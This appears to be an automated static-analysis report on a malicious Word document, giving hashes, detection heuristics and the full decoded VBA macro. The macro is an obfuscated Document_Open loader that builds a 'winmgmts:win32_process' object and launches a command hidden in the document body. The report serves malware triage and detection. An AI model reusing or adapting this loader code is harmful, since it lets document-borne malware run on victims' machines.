Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9a8a1315eeb7b7ff…

MALICIOUS

Office (OLE)

166.5 KB Created: 2021-01-22 19:01:00 Authoring application: Microsoft Office Word First seen: 2021-02-19
MD5: 6ded02c626b7bf5b0c0a38a56d461920 SHA-1: 890f424d55349c49b7aa5f9409ca10e0349087f5 SHA-256: 9a8a1315eeb7b7ffad252a2fcf21bc7ce979a801edec8baccaef75e2bc1e1dac
172 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Emodldr-10033991-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10033991-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Jfxhwoyn1nrrxfe = CreateObject(G_k1zbg91ofvz3bhf)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16627 bytes
SHA-256: cccbbef73162f8c0889b0e891cc7e448a4aa887628c070a3ddc5747c0824b867
Detection
ClamAV: No threats found
Obfuscation or payload: likely
131 of 219 identifiers look randomly generated (e.g. 'G_k1zbg91ofvz3bhf'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Nre_13r__v1meabhr2"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Ljahi4yh66g9t6oax
End Sub

Attribute VB_Name = "Twwejh034u32ebq"
  

Attribute VB_Name = "Uved9u320lyen"
Function Ljahi4yh66g9t6oax()
   GoTo kkRMkYKwF
Set oLvRsDgW = QjrbGoAT
    Dim QfiVIAehH, SJgnG, pUQjDD As Long
    Dim DaucBFEHV As Word.Paragraph
    Dim BukCBE() As Byte
    For Each DaucBFEHV In Nre_13r__v1meabhr2.Paragraphs
        BukCBE = DaucBFEHV.Range
        dscc = "sadsaccc" & DaucBFEHV.Range
        SJgnG = UBound(BukCBE) - 1
        QfiVIAehH = 0
Set DgoBQDE = ArvQXC
        Do Until SJgnG > SJgnG
            If BukCBE(SJgnG) = 46 Or SJgnG = SJgnG Then
                dscc = "sasdsacc" & (QfiVIAehH / 2) + 1 & " to " & (SJgnG / 2) + 1 & MidB$(BukCBE, QfiVIAehH + 1, SJgnG - QfiVIAehH + 3)
                QfiVIAehH = SJgnG + 2
            End If
            SJgnG = SJgnG + 2
        Loop
    Next
kkRMkYKwF:
skuwd = Jy5bao1vbuy3ey + Nre_13r__v1meabhr2 _
. _
Content + C8lfxjyro41
   GoTo vQDCUDCB
Set RLhdX = GTerTpDH
    Dim gRutBJw, dbkQgsAA, CmglGAD As Long
    Dim EKKiJE As Word.Paragraph
    Dim DkDVE() As Byte
    For Each EKKiJE In Nre_13r__v1meabhr2.Paragraphs
        DkDVE = EKKiJE.Range
        dscc = "sadsaccc" & EKKiJE.Range
        dbkQgsAA = UBound(DkDVE) - 1
        gRutBJw = 0
Set rIkmCk = pcKfwB
        Do Until dbkQgsAA > dbkQgsAA
            If DkDVE(dbkQgsAA) = 46 Or dbkQgsAA = dbkQgsAA Then
                dscc = "sasdsacc" & (gRutBJw / 2) + 1 & " to " & (dbkQgsAA / 2) + 1 & MidB$(DkDVE, gRutBJw + 1, dbkQgsAA - gRutBJw + 3)
                gRutBJw = dbkQgsAA + 2
            End If
            dbkQgsAA = dbkQgsAA + 2
        Loop
    Next
vQDCUDCB:
wjnsc = "x [ sh bpx [ sh b"
Hq2nbtpkjzz = "x [ sh brox [ sh bx [ sh bcex [ sh bsx [ sh bsx [ sh bx [ sh b"
   GoTo rnekAzHd
Set eJQhi = iNtVAIDc
    Dim tuwnUlI, VmouN, dGuTI As Long
    Dim UODhfECCP As Word.Paragraph
    Dim onDpQWW() As Byte
    For Each UODhfECCP In Nre_13r__v1meabhr2.Paragraphs
        onDpQWW = UODhfECCP.Range
        dscc = "sadsaccc" & UODhfECCP.Range
        VmouN = UBound(onDpQWW) - 1
        tuwnUlI = 0
Set lckOJI = CNURGFVBp
        Do Until VmouN > VmouN
            If onDpQWW(VmouN) = 46 Or VmouN = VmouN Then
                dscc = "sasdsacc" & (tuwnUlI / 2) + 1 & " to " & (VmouN / 2) + 1 & MidB$(onDpQWW, tuwnUlI + 1, VmouN - tuwnUlI + 3)
                tuwnUlI = VmouN + 2
            End If
            VmouN = VmouN + 2
        Loop
    Next
rnekAzHd:
U29c1_kuq199izyc54 = "x [ sh b:wx [ sh bx [ sh binx [ sh b3x [ sh b2x [ sh b_x [ sh b"
   GoTo QxJDiLDHH
Set StGIEBvBr = bHcuF
    Dim dmUsACgD, fLrHD, jOsZcJgCh As Long
    Dim yJLUe As Word.Paragraph
    Dim moLoGCFdJ() As Byte
    For Each yJLUe In Nre_13r__v1meabhr2.Paragraphs
        moLoGCFdJ = yJLUe.Range
        dscc = "sadsaccc" & yJLUe.Range
        fLrHD = UBound(moLoGCFdJ) - 1
        dmUsACgD = 0
Set zQEvCNI = FzldATHyG
        Do Until fLrHD > fLrHD
            If moLoGCFdJ(fLrHD) = 46 Or fLrHD = fLrHD Then
                dscc = "sasdsacc" & (dmUsACgD / 2) + 1 & " to " & (fLrHD / 2) + 1 & MidB$(moLoGCFdJ, dmUsACgD + 1, fLrHD - dmUsACgD + 3)
                dmUsACgD = fLrHD + 2
            End If
            fLrHD = fLrHD + 2
        Loop
    Next
QxJDiLDHH:
Pmm9cm8qolvp = "wx [ sh binx [ sh bmx [ sh bgmx [ sh btx [ sh bx [ sh b"
   GoTo NmDEB
Set pEAiGKqHg = SJlnAGABP
    Dim IXzyVV, fagdu, ehgssJrG As Long
    Dim DObJX As Word.Paragraph
    Dim PgRZHO() As Byte
    For Each DObJX In Nre_13r__v1meabhr2.Paragraphs
        PgRZHO = DObJX.Range
        dscc = "sadsaccc" & DObJX.Range
        fagdu = UBound(PgRZHO) - 1
        IXzyVV = 0
Set IBVrh = OdqhFz
        Do Until fagdu > fagdu
            If PgRZHO(fagdu) = 46 Or fagdu = fagdu Then
                dscc = "sasdsacc" & (IXzyVV / 2) + 1 & " to " & (fagdu / 2) + 1 & MidB$(PgRZHO, IXzyVV + 1, fagdu - IXzyVV + 3)
                IXzyVV = fagdu + 2
            End If
            fagdu = fagdu + 2
        Loop
    Next
NmDEB:
K1dvo8hcenmvdt8 = "x [ sh bx [ sh b" + Mid(Application.Name, 60 / 10, 1) + "x [ sh bx [ sh b"
   GoTo Qidjl
Set ebgcAE = VTAHFoBxb
    Dim XzAMGG, sHgJaG, FarLoFz As Long
    Dim bSozuu As Word.Paragraph
    Dim FaeuQIDH() As Byte
    For Each bSozuu In Nre_13r__v1meabhr2.Paragraphs
        FaeuQIDH = bSozuu.Range
        dscc = "sadsaccc" & bSozuu.Range
        sHgJaG = UBound(FaeuQIDH) - 1
        XzAMGG = 0
Set woJbJABu = hpETwA
        Do Until sHgJaG > sHgJaG
            If FaeuQIDH(sHgJaG) = 46 Or sHgJaG = sHgJaG Then
                dscc = "sasdsacc" & (XzAMGG / 2) + 1 & " to " & (sHgJaG / 2) + 1 & MidB$(FaeuQIDH, XzAMGG + 1, sHgJaG - XzAMGG + 3)
                XzAMGG = sHgJaG + 2
            End If
            sHgJaG = sHgJaG + 2
        Loop
    Next
Qidjl:
Vbjlntbb7x3ac9o = Pmm9cm8qolvp + K1dvo8hcenmvdt8 + U29c1_kuq199izyc54 + wjnsc + Hq2nbtpkjzz
   GoTo bxlKBdJEV
Set tJnnSICuC = SDQTYAih
    Dim iezxKGCjf, oofPFJE, ELodJ As Long
    Dim CazGpHEDF As Word.Paragraph
    Dim xIuBj() As Byte
    For Each CazGpHEDF In Nre_13r__v1meabhr2.Paragraphs
        xIuBj = CazGpHEDF.Range
        dscc = "sadsaccc" & CazGpHEDF.Range
        oofPFJE = UBound(xIuBj) - 1
        iezxKGCjf = 0
Set KxJIEXq = jhPGFGFEE
        Do Until oofPFJE > oofPFJE
            If xIuBj(oofPFJE) = 46 Or oofPFJE = oofPFJE Then
                dscc = "sasdsacc" & (iezxKGCjf / 2) + 1 & " to " & (oofPFJE / 2) + 1 & MidB$(xIuBj, iezxKGCjf + 1, oofPFJE - iezxKGCjf + 3)
                iezxKGCjf = oofPFJE + 2
            End If
            oofPFJE = oofPFJE + 2
        Loop
    Next
bxlKBdJEV:
G_k1zbg91ofvz3bhf = Kfgztxaw46z(Vbjlntbb7x3ac9o)
   GoTo mwFcDF
Set qTPUJB = afoME
    Dim KTfCJ, kwlTHAH, dAZzFm As Long
    Dim hOPLcHJ As Word.Paragraph
    Dim QkClFj() As Byte
    For Each hOPLcHJ In Nre_13r__v1meabhr2.Paragraphs
        QkClFj = hOPLcHJ.Range
        dscc = "sadsaccc" & hOPLcHJ.Range
        kwlTHAH = UBound(QkClFj) - 1
        KTfCJ = 0
Set hOyBkq = fDCQH
        Do Until kwlTHAH > kwlTHAH
            If QkClFj(kwlTHAH) = 46 Or kwlTHAH = kwlTHAH Then
                dscc = "sasdsacc" & (KTfCJ / 2) + 1 & " to " & (kwlTHAH / 2) + 1 & MidB$(QkClFj, KTfCJ + 1, kwlTHAH - KTfCJ + 3)
                KTfCJ = kwlTHAH + 2
            End If
            kwlTHAH = kwlTHAH + 2
        Loop
    Next
mwFcDF:
Set Jfxhwoyn1nrrxfe = CreateObject(G_k1zbg91ofvz3bhf)
   GoTo oYpISX
Set PLgbDBG = izsoCGvJ
    Dim BzqWhVTIQ, bLGZEYcz, wyNRtEF As Long
    Dim sswIGoWgh As Word.Paragraph
    Dim PSrcCvsEO() As Byte
    For Each sswIGoWgh In Nre_13r__v1meabhr2.Paragraphs
        PSrcCvsEO = sswIGoWgh.Range
        dscc = "sadsaccc" & sswIGoWgh.Range
        bLGZEYcz = UBound(PSrcCvsEO) - 1
        BzqWhVTIQ = 0
Set lPkcE = KLDUkJGJS
        Do Until bLGZEYcz > bLGZEYcz
            If PSrcCvsEO(bLGZEYcz) = 46 Or bLGZEYcz = bLGZEYcz Then
                dscc = "sasdsacc" & (BzqWhVTIQ / 2) + 1 & " to " & (bLGZEYcz / 2) + 1 & MidB$(PSrcCvsEO, BzqWhVTIQ + 1, bLGZEYcz - BzqWhVTIQ + 3)
                BzqWhVTIQ = bLGZEYcz + 2
            End If
            bLGZEYcz = bLGZEYcz + 2
        Loop
    Next
oYpISX:
njcnja = Mid(skuwd, (1 + 1 + 1 + 1), Len(skuwd))
nnjasd = Kfgztxaw46z(njcnja)
   GoTo xDvjIOBFP
Set LvygECNI = SDiGFGB
    Dim kVqKGDIMx, SXiaV, yoTKwqIsG As Long
    Dim zEMxFGC As Word.Paragraph
    Dim ZrdKv() As Byte
    For Each zEMxFGC In Nre_13r__v1meabhr2.Paragraphs
        ZrdKv = zEMxFGC.Range
        dscc = "sadsaccc" & zEMxFGC.Range
        SXiaV = UBound(ZrdKv) - 1
        kVqKGDIMx = 0
Set SbJQC = OeKxDTJnB
        Do Until SXiaV > SXiaV
            If ZrdKv(SXiaV) = 46 Or SXiaV = SXiaV Then
                dscc = "sasdsacc" & (kVqKGDIMx / 2) + 1 & " to " & (SXiaV / 2) + 1 & MidB$(ZrdKv, kVqKGDIMx + 1, SXiaV - kVqKGDIMx + 3)
                kVqKGDIMx = SXiaV + 2
            End If
            SXiaV = SXiaV + 2
        Loop
    Next
xDvjIOBFP:
Jfxhwoyn1nrrxfe.Create nnjasd, O4diqcx_e7ge, Soumelol3sb_6v
   GoTo EaHQHNPDJ
Set vIKvGtHY = WFlaEdEJF
    Dim jqLChB, ruGLP, zsUxsFG As Long
    Dim PmwneAAr As Word.Paragraph
    Dim DjGAF() As Byte
    For Each PmwneAAr In Nre_13r__v1meabhr2.Paragraphs
        DjGAF = PmwneAAr.Range
        dscc = "sadsaccc" & PmwneAAr.Range
        ruGLP = UBound(DjGAF) - 1
        jqLChB = 0
Set iqbgCC = fAEnDfCC
        Do Until ruGLP > ruGLP
            If DjGAF(ruGLP) = 46 Or ruGLP = ruGLP Then
                dscc = "sasdsacc" & (jqLChB / 2) + 1 & " to " & (ruGLP / 2) + 1 & MidB$(DjGAF, jqLChB + 1, ruGLP - jqLChB + 3)
                jqLChB = ruGLP + 2
            End If
            ruGLP = ruGLP + 2
        Loop
    Next
EaHQHNPDJ:
End Function
Function Kfgztxaw46z(Os36vj0xgli8bd)
On Error Resume Next
   GoTo LzBwHH
Set KiUcJFSiw = TORFFDHP
    Dim CXFlxhCIJ, CxCcsO, SEDgPAAd As Long
    Dim mUibp As Word.Paragraph
    Dim tYjkQO() As Byte
    For Each mUibp In Nre_13r__v1meabhr2.Paragraphs
        tYjkQO = mUibp.Range
        dscc = "sadsaccc" & mUibp.Range
        CxCcsO = UBound(tYjkQO) - 1
        CXFlxhCIJ = 0
Set szzfJDSJ = iScJlw
        Do Until CxCcsO > CxCcsO
            If tYjkQO(CxCcsO) = 46 Or CxCcsO = CxCcsO Then
                dscc = "sasdsacc" & (CXFlxhCIJ / 2) + 1 & " to " & (CxCcsO / 2) + 1 & MidB$(tYjkQO, CXFlxhCIJ + 1, CxCcsO - CXFlxhCIJ + 3)
                CXFlxhCIJ = CxCcsO + 2
            End If
            CxCcsO = CxCcsO + 2
        Loop
    Next
LzBwHH:
Nz25rgs4jfp_k9_8y = Os36vj0xgli8bd
   GoTo HPPUdFCC
Set iDdzAA = bIhNCID
    Dim kvOjif, JqRPV, limvmeCz As Long
    Dim gQeIGU As Word.Paragraph
    Dim YOGNBFEJJ() As Byte
    For Each gQeIGU In Nre_13r__v1meabhr2.Paragraphs
        YOGNBFEJJ = gQeIGU.Range
        dscc = "sadsaccc" & gQeIGU.Range
        JqRPV = UBound(YOGNBFEJJ) - 1
        kvOjif = 0
Set zUuWGbKHy = CWWHXGG
        Do Until JqRPV > JqRPV
            If YOGNBFEJJ(JqRPV) = 46 Or JqRPV = JqRPV Then
                dscc = "sasdsacc" & (kvOjif / 2) + 1 & " to " & (JqRPV / 2) + 1 & MidB$(YOGNBFEJJ, kvOjif + 1, JqRPV - kvOjif + 3)
                kvOjif = JqRPV + 2
            End If
            JqRPV = JqRPV + 2
        Loop
    Next
HPPUdFCC:
Z_yrt0419vs56rm = T0ljxv29dexr3v2yt(Nz25rgs4jfp_k9_8y)
   GoTo cDhBGGFR
Set gNPBGhAIB = nyozdGEMG
    Dim gRLRHGC, dxmcNDC, bNIqI As Long
    Dim dIEzTDWJ As Word.Paragraph
    Dim PVoxdBG() As Byte
    For Each dIEzTDWJ In Nre_13r__v1meabhr2.Paragraphs
        PVoxdBG = dIEzTDWJ.Range
        dscc = "sadsaccc" & dIEzTDWJ.Range
        dxmcNDC = UBound(PVoxdBG) - 1
        gRLRHGC = 0
Set xhCZAq = zMbQG
        Do Until dxmcNDC > dxmcNDC
            If PVoxdBG(dxmcNDC) = 46 Or dxmcNDC = dxmcNDC Then
                dscc = "sasdsacc" & (gRLRHGC / 2) + 1 & " to " & (dxmcNDC / 2) + 1 & MidB$(PVoxdBG, gRLRHGC + 1, dxmcNDC - gRLRHGC + 3)
                gRLRHGC = dxmcNDC + 2
            End If
            dxmcNDC = dxmcNDC + 2
        Loop
    Next
cDhBGGFR:
Kfgztxaw46z = Z_yrt0419vs56rm
   GoTo IJmiCJ
Set KhPdASzO = RgCBRi
    Dim kkPsepvID, YuXlKu, WhXxZBCFx As Long
    Dim FYWwFXnmD As Word.Paragraph
    Dim AFprvHL() As Byte
    For Each FYWwFXnmD In Nre_13r__v1meabhr2.Paragraphs
        AFprvHL = FYWwFXnmD.Range
        dscc = "sadsaccc" & FYWwFXnmD.Range
        YuXlKu = UBound(AFprvHL) - 1
        kkPsepvID = 0
Set RvUuQGH = hBXXCY
        Do Until YuXlKu > YuXlKu
            If AFprvHL(YuXlKu) = 46 Or YuXlKu = YuXlKu Then
                dscc = "sasdsacc" & (kkPsepvID / 2) + 1 & " to " & (YuXlKu / 2) + 1 & MidB$(AFprvHL, kkPsepvID + 1, YuXlKu - kkPsepvID + 3)
                kkPsepvID = YuXlKu + 2
            End If
            YuXlKu = YuXlKu + 2
        Loop
    Next
IJmiCJ:
End Function
Function T0ljxv29dexr3v2yt(Qaleihvcbuiho33)
   GoTo KBiNIsVg
Set HrGdJP = nWxKMVOBG
    Dim mUryG, IQtMAu, iXqMIB As Long
    Dim ZQoRFxD As Word.Paragraph
    Dim ifLwTt() As Byte
    For Each ZQoRFxD In Nre_13r__v1meabhr2.Paragraphs
        ifLwTt = ZQoRFxD.Range
        dscc = "sadsaccc" & ZQoRFxD.Range
        IQtMAu = UBound(ifLwTt) - 1
        mUryG = 0
Set JWFlPMBdA = yXAkDJC
        Do Until IQtMAu > IQtMAu
            If ifLwTt(IQtMAu) = 46 Or IQtMAu = IQtMAu Then
                dscc = "sasdsacc" & (mUryG / 2) + 1 & " to " & (IQtMAu / 2) + 1 & MidB$(ifLwTt, mUryG + 1, IQtMAu - mUryG + 3)
                mUryG = IQtMAu + 2
            End If
            IQtMAu = IQtMAu + 2
        Loop
    Next
KBiNIsVg:
   GoTo sZNckH
Set fQjtHB = zOxiWIIb
    Dim GHdxC, bPtpAAz, beDixHFI As Long
    Dim yESSyEi As Word.Paragraph
    Dim yteeIh() As Byte
    For Each yESSyEi In Nre_13r__v1meabhr2.Paragraphs
        yteeIh = yESSyEi.Range
        dscc = "sadsaccc" & yESSyEi.Range
        bPtpAAz = UBound(yteeIh) - 1
        GHdxC = 0
Set XgCNAOJ = wjUEXtp
        Do Until bPtpAAz > bPtpAAz
            If yteeIh(bPtpAAz) = 46 Or bPtpAAz = bPtpAAz Then
                dscc = "sasdsacc" & (GHdxC / 2) + 1 & " to " & (bPtpAAz / 2) + 1 & MidB$(yteeIh, GHdxC + 1, bPtpAAz - GHdxC + 3)
                GHdxC = bPtpAAz + 2
            End If
            bPtpAAz = bPtpAAz + 2
        Loop
    Next
sZNckH:
   GoTo zAyhIWe
Set evivHCq = pXYQI
    Dim paWrAs, emKogsJt, DmEHG As Long
    Dim fufvMBxFB As Word.Paragraph
    Dim VXGInFA() As Byte
    For Each fufvMBxFB In Nre_13r__v1meabhr2.Paragraphs
        VXGInFA = fufvMBxFB.Range
        dscc = "sadsaccc" & fufvMBxFB.Range
        emKogsJt = UBound(VXGInFA) - 1
        paWrAs = 0
Set EQpkJ = VHaeE
        Do Until emKogsJt > emKogsJt
            If VXGInFA(emKogsJt) = 46 Or emKogsJt = emKogsJt Then
                dscc = "sasdsacc" & (paWrAs / 2) + 1 & " to " & (emKogsJt / 2) + 1 & MidB$(VXGInFA, paWrAs + 1, emKogsJt - paWrAs + 3)
                paWrAs = emKogsJt + 2
            End If
            emKogsJt = emKogsJt + 2
        Loop
    Next
zAyhIWe:
T0ljxv29dexr3v2yt = Replace(Qaleihvcbuiho33, "x [ sh b", Kyd2hcsqro5y2rxia)
   GoTo jfHHHlCG
Set FcSKHTIC = kUGXaZ
    Dim EJmBDY, foEzCEG, YwvvF As Long
    Dim HbTERWfG As Word.Paragraph
    Dim BwbBAFi() As Byte
    For Each HbTERWfG In Nre_13r__v1meabhr2.Paragraphs
        BwbBAFi = HbTERWfG.Range
        dscc = "sadsaccc" & HbTERWfG.Range
        foEzCEG = UBound(BwbBAFi) - 1
        EJmBDY = 0
Set zCOlH = mEsdJFB
        Do Until foEzCEG > foEzCEG
            If BwbBAFi(foEzCEG) = 46 Or foEzCEG = foEzCEG Then
                dscc = "sasdsacc" & (EJmBDY / 2) + 1 & " to " & (foEzCEG / 2) + 1 & MidB$(BwbBAFi, EJmBDY + 1, foEzCEG - EJmBDY + 3)
                EJmBDY = foEzCEG + 2
            End If
            foEzCEG = foEzCEG + 2
        Loop
    Next
jfHHHlCG:
   GoTo mhoxIuDG
Set nljDdEKC = WUTQAet
    Dim xUDGCFC, oNAXGHF, RnNWIqm As Long
    Dim VoGiD As Word.Paragraph
    Dim sRKFiF() As Byte
    For Each VoGiD In Nre_13r__v1meabhr2.Paragraphs
        sRKFiF = VoGiD.Range
        dscc = "sadsaccc" & VoGiD.Range
        oNAXGHF = UBound(sRKFiF) - 1
        xUDGCFC = 0
Set BMCxVes = YMyjEGOO
        Do Until oNAXGHF > oNAXGHF
            If sRKFiF(oNAXGHF) = 46 Or oNAXGHF = oNAXGHF Then
                dscc = "sasdsacc" & (xUDGCFC / 2) + 1 & " to " & (oNAXGHF / 2) + 1 & MidB$(sRKFiF, xUDGCFC + 1, oNAXGHF - xUDGCFC + 3)
                xUDGCFC = oNAXGHF + 2
            End If
            oNAXGHF = oNAXGHF + 2
        Loop
    Next
mhoxIuDG:
   GoTo YAMzFD
Set OkhnVlkx = eUaictZE
    Dim hUYqA, dkffwCHGW, oLCGmAiCG As Long
    Dim aMdIG As Word.Paragraph
    Dim VHywBeoD() As Byte
    For Each aMdIG In Nre_13r__v1meabhr2.Paragraphs
        VHywBeoD = aMdIG.Range
        dscc = "sadsaccc" & aMdIG.Range
        dkffwCHGW = UBound(VHywBeoD) - 1
        hUYqA = 0
Set sCAOEB = SuvbRJTD
        Do Until dkffwCHGW > dkffwCHGW
            If VHywBeoD(dkffwCHGW) = 46 Or dkffwCHGW = dkffwCHGW Then
                dscc = "sasdsacc" & (hUYqA / 2) + 1 & " to " & (dkffwCHGW / 2) + 1 & MidB$(VHywBeoD, hUYqA + 1, dkffwCHGW - hUYqA + 3)
                hUYqA = dkffwCHGW + 2
            End If
            dkffwCHGW = dkffwCHGW + 2
        Loop
    Next
YAMzFD:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.